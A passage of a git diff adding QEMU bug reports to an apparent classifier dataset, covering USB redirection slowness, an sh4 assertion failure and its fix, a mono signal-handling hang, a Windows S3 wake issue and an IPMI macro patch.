qemu-kvm: usb-redir: bulk-out ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.105680Z qemu-kvm: usb-redir: bulk-in status 0 ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.108219Z qemu-kvm: usb-redir: bulk-out ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.116742Z qemu-kvm: usb-redir: bulk-in status 0 ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.119242Z qemu-kvm: usb-redir: bulk-out ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.129851Z qemu-kvm: usb-redir: bulk-in status 0 ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.132349Z qemu-kvm: usb-redir: bulk-out ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.141248Z qemu-kvm: usb-redir: bulk-in status 0 ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.144932Z qemu-kvm: usb-redir: bulk-out ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +2019-01-14T08:27:26.154035Z qemu-kvm: usb-redir: bulk-in status 0 ep 86 stream 0 len 49152 id 2114122112 0x7f0ffa300b40 +========================= + + It shows that the bulk packet is single thread send and recv, per bulk packet will use 10-20ms, all 50 bulk-packets will use 500~1000ms, so the in the VM, bulk-urb will timeout always! + + How to send the bulk packet by multithread to speedup the bulk-urb send and recv, for example: +------------ + bulk-out ep 86 stream 0 len 49152 id xxxx1 + bulk-out ep 86 stream 0 len 49152 id xxxx2 + bulk-out ep 86 stream 0 len 49152 id xxxx3 + bulk-out ep 86 stream 0 len 49152 id xxxx4 + bulk-out ... + bulk-out ep 86 stream 0 len 49152 id xxxx50 +... + bulk-in status 0 ep 86 stream 0 len 49152 id xxxx1 + bulk-in status 0 ep 86 stream 0 len 49152 id xxxx2 + bulk-in status 0 ep 86 stream 0 len 49152 id xxxx3 + bulk-in status 0 ep 86 stream 0 len 49152 id xxxx4 + bulk-out ... + bulk-in status 0 ep 86 stream 0 len 49152 id xxxx50 +------------ + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/build./1768246 b/results/classifier/deepseek-1/output/build./1768246 new file mode 100644 index 00000000..f2dd7996 --- /dev/null +++ b/results/classifier/deepseek-1/output/build./1768246 @@ -0,0 +1,186 @@ + +cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. + +OpenJDK no longer works on qemu-sh4, it previously did after #1735384 was fixed. + +Crash indicates an assertion failure: + +(sid-sh4-sbuild)root@nofan:/# java --version +qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped +Aborted +(sid-sh4-sbuild)root@nofan:/# + +Haven't bi-sected the issue yet, but will do so later. + + +John Paul Adrian Glaubitz <email address hidden> writes: + +> Public bug reported: +> +> OpenJDK no longer works on qemu-sh4, it previously did after #1735384 +> was fixed. +> +> Crash indicates an assertion failure: +> +> (sid-sh4-sbuild)root@nofan:/# java --version +> qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +> qemu: uncaught target signal 6 (Aborted) - core dumped +> Aborted +> (sid-sh4-sbuild)root@nofan:/# +> +> Haven't bi-sected the issue yet, but will do so later. + +Hmm that's ominous - arguably the assert should be inside the +CONFIG_USER but I'm not sure how you get to the point where icount isn't +< 0 after receiving a TB_EXIT_REQUESTED. + +> +> ** Affects: qemu +> Importance: Undecided +> Status: New + + +-- +Alex Bennée + + +On 05/01/2018 05:31 PM, Alex Bennée wrote: +>> Haven't bi-sected the issue yet, but will do so later. +> +> Hmm that's ominous - arguably the assert should be inside the +> CONFIG_USER but I'm not sure how you get to the point where icount isn't +> < 0 after receiving a TB_EXIT_REQUESTED. + +git bisect yielded this: + +4834871bc95b67343248100e2a75ae0d287bc08b is the first bad commit +commit 4834871bc95b67343248100e2a75ae0d287bc08b +Author: Richard Henderson <email address hidden> +Date: Thu Sep 7 11:50:54 2017 -0700 + + target/sh4: Convert to DisasJumpType + + Signed-off-by: Richard Henderson <email address hidden> + Message-Id: <email address hidden> + [aurel32: fix whitespace] + Signed-off-by: Aurelien Jarno <email address hidden> + +:040000 040000 6e0e67cc5d0eb5ef461510d314c6af43eecc08bb aa3399c893c49e6fafda157181cf10f8fbcd0a72 M target + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +This bug also affects GHC on qemu-sh4: + +checking version of ghc... ./configure: line 3199: 55879 Segmentation fault "${WithGhc-ghc}" --version > conftestghc 2>&1 +8.2.2 +qemu-sh4-static: /build/qemu-fWXVPw/qemu-2.12+dfsg/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +qemu-sh4-static: /build/qemu-fWXVPw/qemu-2.12+dfsg/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +qemu-sh4-static: /build/qemu-fWXVPw/qemu-2.12+dfsg/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +qemu-sh4-static: /build/qemu-fWXVPw/qemu-2.12+dfsg/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +qemu-sh4-static: /build/qemu-fWXVPw/qemu-2.12+dfsg/accel/tcg/cpu-exec.c:648: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +Just tested with qemu 5a5c383b1373aeb6c87a0d6060f6c3dc7c53082b. + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +Still present on git master: + +/usr/bin/make -f src/server/CMakeFiles/KF5WaylandServer_autogen.dir/build.make src/server/CMakeFiles/KF5WaylandServer_autogen.dir/build +make[3]: Entering directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +make[3]: Entering directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +[ 0%] Automatic MOC for target surfaceExtensionHelper +[ 0%] Generating src/KF5Wayland.qch, src/KF5Wayland.tags +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/autotests/server && /usr/bin/cmake -E cmake_autogen /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/autotests/server/CMakeFiles/surfaceExtensionHelper_autogen.dir/AutogenInfo.cmake Debian +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src && cmake -E remove_directory "/<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/KF5Wayland_ECMQchDoxygen" +[ 0%] Automatic MOC for target KF5WaylandClient +[ 0%] Automatic MOC for target kwaylandScanner +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/tools && /usr/bin/cmake -E cmake_autogen /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/tools/CMakeFiles/kwaylandScanner_autogen.dir/AutogenInfo.cmake Debian +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/client && /usr/bin/cmake -E cmake_autogen /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/client/CMakeFiles/KF5WaylandClient_autogen.dir/AutogenInfo.cmake Debian +[ 0%] Automatic MOC for target KF5WaylandServer +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/server && /usr/bin/cmake -E cmake_autogen /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/server/CMakeFiles/KF5WaylandServer_autogen.dir/AutogenInfo.cmake Debian +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src && cmake -E make_directory "/<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/KF5Wayland_ECMQchDoxygen" +qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:634: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +make[3]: *** [autotests/server/CMakeFiles/surfaceExtensionHelper_autogen.dir/build.make:61: autotests/server/CMakeFiles/surfaceExtensionHelper_autogen] Error 139 +make[3]: Leaving directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +make[2]: *** [CMakeFiles/Makefile2:3729: autotests/server/CMakeFiles/surfaceExtensionHelper_autogen.dir/all] Error 2 +make[2]: *** Waiting for unfinished jobs.... +qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:634: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +make[3]: *** [src/client/CMakeFiles/KF5WaylandClient_autogen.dir/build.make:61: src/client/CMakeFiles/KF5WaylandClient_autogen] Error 139 +make[3]: Leaving directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +make[2]: *** [CMakeFiles/Makefile2:259: src/client/CMakeFiles/KF5WaylandClient_autogen.dir/all] Error 2 +cd /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src && /usr/bin/doxygen /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/KF5Wayland_ECMQchDoxygen.config +qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:634: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +make[3]: *** [src/tools/CMakeFiles/kwaylandScanner_autogen.dir/build.make:61: src/tools/CMakeFiles/kwaylandScanner_autogen] Error 139 +make[3]: Leaving directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +make[2]: *** [CMakeFiles/Makefile2:437: src/tools/CMakeFiles/kwaylandScanner_autogen.dir/all] Error 2 +qemu-sh4-static: /root/qemu/accel/tcg/cpu-exec.c:634: cpu_loop_exec_tb: Assertion `use_icount' failed. +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +Segmentation fault +make[3]: *** [src/server/CMakeFiles/KF5WaylandServer_autogen.dir/build.make:61: src/server/CMakeFiles/KF5WaylandServer_autogen] Error 139 +make[3]: Leaving directory '/<<PKGBUILDDIR>>/obj-sh4-linux-gnu' +make[2]: *** [CMakeFiles/Makefile2:347: src/server/CMakeFiles/KF5WaylandServer_autogen.dir/all] Error 2 +QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-glaubitz' +Building up file structure... +Insert custom filters... +Insert help data for filter section (1 of 1)... +Insert files... +Warning: The file /<<PKGBUILDDIR>>/obj-sh4-linux-gnu/src/KF5Wayland_ECMQchDoxygen/html/dynsections.js does not exist, skipping it... +Insert contents... + +This change seems to fix the problem: + +diff --git a/target/sh4/translate.c b/target/sh4/translate.c +index 1b9a201d6d..5010b0d349 100644 +--- a/target/sh4/translate.c ++++ b/target/sh4/translate.c +@@ -253,7 +253,6 @@ static void gen_goto_tb(DisasContext *ctx, int n, target_ulong dest) + tcg_gen_lookup_and_goto_ptr(); + } + } +- ctx->base.is_jmp = DISAS_NORETURN; + } + + static void gen_jump(DisasContext * ctx) +@@ -324,7 +323,6 @@ static void gen_delayed_conditional_jump(DisasContext * ctx) + gen_jump(ctx); + + gen_set_label(l1); +- ctx->base.is_jmp = DISAS_NEXT; + return; + } + +@@ -1877,6 +1875,7 @@ static void decode_opc(DisasContext * ctx) + ctx->envflags &= ~GUSA_MASK; + + tcg_gen_movi_i32(cpu_flags, ctx->envflags); ++ ctx->base.is_jmp = DISAS_NORETURN; + if (old_flags & DELAY_SLOT_CONDITIONAL) { + gen_delayed_conditional_jump(ctx); + } else { + + +Fix has been committed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=5b38d0264064055255db991 + diff --git a/results/classifier/deepseek-1/output/category./1319100 b/results/classifier/deepseek-1/output/category./1319100 new file mode 100644 index 00000000..5933557c --- /dev/null +++ b/results/classifier/deepseek-1/output/category./1319100 @@ -0,0 +1,136 @@ + +qemu-arm-static bug in signal handling causes mono and java to hang + +Note, this bug is already reported to debian, but it seems to also affect the upstream code. +https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=748043 + +running mono in a chroot environment with qemu-user-static is not posible +because at least one signal used during termination of mono is routed to the +host. + +This can be reproduced by: +debootstrap --include=mono-runtime --foreign --arch=armel "wheezy" "mono-test" "http://ftp.de.debian.org//debian" +cp /usr/bin/qemu-arm-static mono-test/usr/bin +mount -t proc none mono-test/proc +mount -o bind /dev mono-test/dev +mount -o bind /sys mono-test/sys +chroot mono-test +../debootstrap/debootstrap --second-stage +exit +mount -t proc none mono-test/proc +mount -o bind /sys mono-test/sys +chroot mono-test +QEMU_STRACE=1 /usr/bin/mono /usr/lib/mono/4.0/gacutil.exe + +This will block on a futex: + +--8<-- +18663 sched_yield(0,0,2582980,0,0,2582928) = 0 +18663 clock_gettime(1,-150996384,2,1,2585016,2585600) = 0 +18663 tgkill(18663,18664,30,18664,30,-161951744) = 0 +18663 futex(0x00293774,FUTEX_PRIVATE_FLAG|FUTEX_WAIT,0,NULL,NULL,0) +--8<-- + +If you use mono within strace on a native x86 box you can see, that signals +between threads are used during termination: + +strace -f -o log.txt /usr/bin/mono /usr/lib/mono/4.0/gacutil.exe + +--8<-- +14075 sched_yield() = 0 +14075 tgkill(14075, 14083, SIGPWR) = 0 +14075 futex(0x983f00, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...> +14083 <... futex resumed> ) = ? ERESTARTSYS (To be restarted) +14083 --- SIGPWR (Power failure) @ 0 (0) --- +14083 futex(0x983f00, FUTEX_WAKE_PRIVATE, 1) = 1 +14075 <... futex resumed> ) = 0 +14083 rt_sigsuspend(~[INT QUIT ABRT TERM XCPU RTMIN RT_1] <unfinished ...> +14075 futex(0x94d9a4, FUTEX_CMP_REQUEUE_PRIVATE, 1, 2147483647, 0x94da20, 24) = 3 +14078 <... futex resumed> ) = 0 +14078 futex(0x94da20, FUTEX_WAKE_PRIVATE, 1) = 1 +14077 <... futex resumed> ) = 0 +14075 futex(0x94d9a4, FUTEX_CMP_REQUEUE_PRIVATE, 1, 2147483647, 0x94da20, 26 <unfinished ...> +--8<-- + +This also blocks the installation of libnunit2.6-cil within a armel chroot, +because it uses mono in its postinst script. +E.g. (/usr/bin/mono /usr/share/mono/MonoGetAssemblyName.exe /usr/lib/cli/nunit.core-2.6/nunit.core.dll) + +Obviously the same as described in: +http://lists.opensuse.org/opensuse-arm/2011-12/msg00000.html +is happening here. + +There is an openSuSE patch against qemu: +https://build.opensuse.org/package/view_file/Virtualization:Qemu/qemu/0002-XXX-work-around-SA_RESTART-race-wit.patch?expand=1 + +This patch also applies against qemu from backports-wheezy and resolves this +issue. + +As it seems, that this issue is not Debian specific i will also report it to +the qemu project and reference this bug report. + +On 13 May 2014 16:56, manut <email address hidden> wrote: +> running mono in a chroot environment with qemu-user-static is not posible +> because at least one signal used during termination of mono is routed to the +> host. +> +> This can be reproduced by: +> debootstrap --include=mono-runtime --foreign --arch=armel "wheezy" "mono-test" "http://ftp.de.debian.org//debian" +> cp /usr/bin/qemu-arm-static mono-test/usr/bin +> mount -t proc none mono-test/proc +> mount -o bind /dev mono-test/dev +> mount -o bind /sys mono-test/sys +> chroot mono-test +> ../debootstrap/debootstrap --second-stage +> exit +> mount -t proc none mono-test/proc +> mount -o bind /sys mono-test/sys +> chroot mono-test +> QEMU_STRACE=1 /usr/bin/mono /usr/lib/mono/4.0/gacutil.exe +> +> This will block on a futex: +> +> --8<-- +> 18663 sched_yield(0,0,2582980,0,0,2582928) = 0 +> 18663 clock_gettime(1,-150996384,2,1,2585016,2585600) = 0 +> 18663 tgkill(18663,18664,30,18664,30,-161951744) = 0 +> 18663 futex(0x00293774,FUTEX_PRIVATE_FLAG|FUTEX_WAIT,0,NULL,NULL,0) +> --8<-- +> +> If you use mono within strace on a native x86 box you can see, that signals +> between threads are used during termination: + +Multithreaded guest process are unreliable under qemu +linux-user mode anyway, even ignoring the signal handling +related races here. + +See also: +https://bugs.launchpad.net/qemu/+bug/955379 + +> There is an openSuSE patch against qemu: +> https://build.opensuse.org/package/view_file/Virtualization:Qemu/qemu/0002-XXX-work-around-SA_RESTART-race-wit.patch?expand=1 + +This patch is a very hacky bandaid papering over the +real problem. It is not suitable for upstream (and +personally I wouldn't ship it in a distro either :-)). + +thanks +-- PMM + + +Status changed to 'Confirmed' because the bug affects multiple users. + +also causes problems with java. + +Recent changes to QEMU's handling of signals fix this hang trying to run mono under QEMU; they should be out in QEMU 2.7. + + +Did this fix end up making it into QEMU 2.7? + +Yes it did. + + +Fixed in 2.7 and thereby >=Zesty + +I can't guess very well how important this would be for an SRU (or not), leaving that up for user feedback to be decided. + diff --git a/results/classifier/deepseek-1/output/category./1557057 b/results/classifier/deepseek-1/output/category./1557057 new file mode 100644 index 00000000..4eb3b436 --- /dev/null +++ b/results/classifier/deepseek-1/output/category./1557057 @@ -0,0 +1,79 @@ + +Windows 10 guest under qemu cannot wake up from S3 using rtc wake with -no_hpet + +Problem : Windows 10 guest cannot wake up from S3 using rtc wake + +Steps to reproduce. + +1. Boot Windows 10 Guest VM. +2. Create scheduled task (using Task Scheduler) to +5 minutes time from current time to run notepad and enabling "Wake the computer to run this task" option +3. Click Start->Power ->Sleep +4. Guest VM enters suspend mode( screen is black) +5. Wait 10 minutes - nothing happens +6. Press key in spicy window +7. VM resumes + +Expected behavior - VM should wake after 5 minutes in step 5. + +More information: +#uname -a +Linux vm-host 4.4.3-300.fc23.x86_64 #1 SMP Fri Feb 26 18:45:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux + +# /usr/local/bin/qemu-system-x86_64 --version +QEMU emulator version 2.5.50, Copyright (c) 2003-2008 Fabrice Bellard + + +-----------------QEMU guest config--------------------- +OPTS="$OPTS -enable-kvm " +OPTS="$OPTS -name win10_35" +#OPTS="$OPTS -bios seabios/out/bios.bin" +OPTS="$OPTS -machine pc-q35-2.4,accel=kvm,usb=off,vmport=off" +OPTS="$OPTS -cpu Broadwell,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff" +OPTS="$OPTS -m 4096" +OPTS="$OPTS -realtime mlock=off" +OPTS="$OPTS -smp 2,sockets=2,cores=1,threads=1" +OPTS="$OPTS -uuid e09cbfe5-9016-40b0-a027-62e0d2ef0ba1" +OPTS="$OPTS -no-user-config" +OPTS="$OPTS -nodefaults " +OPTS="$OPTS -rtc base=localtime,driftfix=slew" +OPTS="$OPTS -global kvm-pit.lost_tick_policy=discard" +OPTS="$OPTS -no-hpet" +OPTS="$OPTS -no-shutdown" +OPTS="$OPTS -global ICH9-LPC.disable_s3=0" +OPTS="$OPTS -global ICH9-LPC.disable_s4=0" +OPTS="$OPTS -boot order=c,menu=on,strict=on" +OPTS="$OPTS -device i82801b11-bridge,id=pci.1,bus=pcie.0,addr=0x1e" +OPTS="$OPTS -device pci-bridge,chassis_nr=2,id=pci.2,bus=pci.1,addr=0x1" +OPTS="$OPTS -device ich9-usb-ehci1,id=usb,bus=pci.2,addr=0x3.0x7" +OPTS="$OPTS -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.2,multifunction=on,addr=0x3" +OPTS="$OPTS -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.2,addr=0x3.0x1" +OPTS="$OPTS -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.2,addr=0x3.0x2" +OPTS="$OPTS -device virtio-serial-pci,id=virtio-serial0,bus=pci.2,addr=0x4" +OPTS="$OPTS -drive file=/var/lib/images/win10-run2.qcow2,format=qcow2,if=none,id=drive-sata0-0-0,cache=none" +OPTS="$OPTS -device ide-hd,bus=ide.0,drive=drive-sata0-0-0,id=sata0-0-0" +OPTS="$OPTS -drive file=/var/lib/images/diskd.vhd,format=vpc,if=none,id=drive-sata0-0-1" +OPTS="$OPTS -device ide-hd,bus=ide.1,drive=drive-sata0-0-1,id=sata0-0-1" +OPTS="$OPTS -drive file=virtio-win.iso,format=raw,if=none,media=cdrom,id=drive-sata0-0-2,readonly=on" +OPTS="$OPTS -device ide-cd,bus=ide.2,drive=drive-sata0-0-2,id=sata0-0-2 " +OPTS="$OPTS -chardev pty,id=charserial0" +OPTS="$OPTS -device isa-serial,chardev=charserial0,id=serial0" +OPTS="$OPTS -chardev spicevmc,id=charchannel0,name=vdagent" +OPTS="$OPTS -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0" +OPTS="$OPTS -device usb-tablet,id=input0" +OPTS="$OPTS -spice port=5901,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on" +OPTS="$OPTS -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vgamem_mb=16,bus=pcie.0,addr=0x1" +OPTS="$OPTS -device intel-hda,id=sound0,bus=pci.2,addr=0x2" +OPTS="$OPTS -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0" +OPTS="$OPTS -device virtio-balloon-pci,id=balloon0,bus=pci.2,addr=0x5" +OPTS="$OPTS -msg timestamp=on" +OPTS="$OPTS -monitor stdio" +#OPTS="$OPTS -qmp stdio" +#OPTS="$OPTS -chardev stdio,id=seabios -device isa-debugcon,iobase=0x402,chardev=seabios" + +/usr/local/bin/qemu-system-x86_64 $OPTS + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/changes./1651167 b/results/classifier/deepseek-1/output/changes./1651167 new file mode 100644 index 00000000..33973221 --- /dev/null +++ b/results/classifier/deepseek-1/output/changes./1651167 @@ -0,0 +1,551 @@ + +hw/ipmi/isa_ipmi_bt.c:283: suspect use of macro ? + +I just had a go at compiling qemu trunk with +llvm trunk. It said: + +hw/ipmi/isa_ipmi_bt.c:283:31: warning: logical not is only applied to the left hand side of this bitwise operator [-Wlogical-not-parentheses] + +Source code is + + IPMI_BT_SET_HBUSY(ib->control_reg, + !IPMI_BT_GET_HBUSY(ib->control_reg)); + +That use of ! causes trouble. The SET and GET +macros are defined as: + +#define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ + (((v & 1) << IPMI_BT_HBUSY_BIT))) + +I can make the compiler shut up by adding extra () in the last +use of v in the SET macro, like this: + +#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ + ((((v) & 1) << IPMI_BT_HBUSY_BIT))) + +I think this is standard good practice when using macro parameters anyway. + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..8a97314 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -40,37 +40,37 @@ + #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) + #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) ++ ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) + + #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) + #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) ++ ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) + + #define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) + #define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) + #define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) + #define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++ ((((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) + #define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++ ((((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) + #define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) + #define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++ ((((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -80,12 +80,12 @@ + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) + #define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) + #define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++ ((((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +On 12/22/2016 08:30 AM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- +> 1 file changed, 9 insertions(+), 9 deletions(-) +> +> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +> index f036617..8a97314 100644 +> --- a/hw/ipmi/isa_ipmi_bt.c +> +++ b/hw/ipmi/isa_ipmi_bt.c +> @@ -40,37 +40,37 @@ +> #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +> #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ + +Still under-parenthesized, if the result of IPMI_BT_SET_CLR_WR() is used +in any larger expression; + +> - (((v & 1) << 